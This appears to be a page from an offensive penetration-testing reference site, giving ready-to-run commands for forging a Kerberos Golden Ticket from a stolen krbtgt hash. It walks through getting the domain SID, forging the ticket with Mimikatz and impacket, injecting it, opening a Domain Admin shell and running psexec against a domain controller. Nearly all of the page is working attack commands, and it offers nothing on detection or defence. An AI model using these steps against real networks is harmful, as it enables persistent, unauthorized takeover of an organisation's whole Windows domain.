OPSECTLAS you are here: krbtgt hash
next-move engine

You have krbtgt hash

1 high-yield move from here, ordered the way the engagement runs. Open any move to see the exact commands.

  1. needskrbtgt hash
    yieldskrbtgt hashDomain Admin
    toolsimpacketmimikatz
    What it is

    A forged TGT signed with the krbtgt account's hash. Valid for 10 years by default. Survives password changes on other accounts. Requires krbtgt hash from DCSync.

    Step 1: Get krbtgt hash (from DCSync above)

    krbtgt hash: aad3b435b51404eeaad3b435b51404ee:6f7c6d5b8f... (NT hash is second)

    Step 2: Get Domain SID
    impacket-getPac <DOMAIN>/<USER>:<PASS> -targetUser Administrator

    Or from Windows: whoami /user → trim last RID (e.g., S-1-5-21-xxxx-xxxx-xxxx)

    Step 3: Create Golden Ticket · Mimikatz (from any Windows machine)
    kerberos::golden /user:Administrator /domain:<DOMAIN> \
  /sid:<DOMAIN-SID> /krbtgt:<KRBTGT-NTLM-HASH> \
  /id:500 /groups:512 /ticket:golden.kirbi
    kerberos::ptt golden.kirbi     # Inject into current session
    misc::cmd                      # Open cmd with DA privileges
    Step 4: Create Golden Ticket · impacket (from Kali)
    impacket-ticketer -nthash <KRBTGT-HASH> -domain-sid <SID> -domain <DOMAIN> Administrator
    export KRB5CCNAME=Administrator.ccache
    impacket-psexec <DOMAIN>/Administrator@<DC-HOSTNAME> -k -no-pass

    Use it

    klist          # Confirm ticket loaded
    dir \\<DC-IP>\C$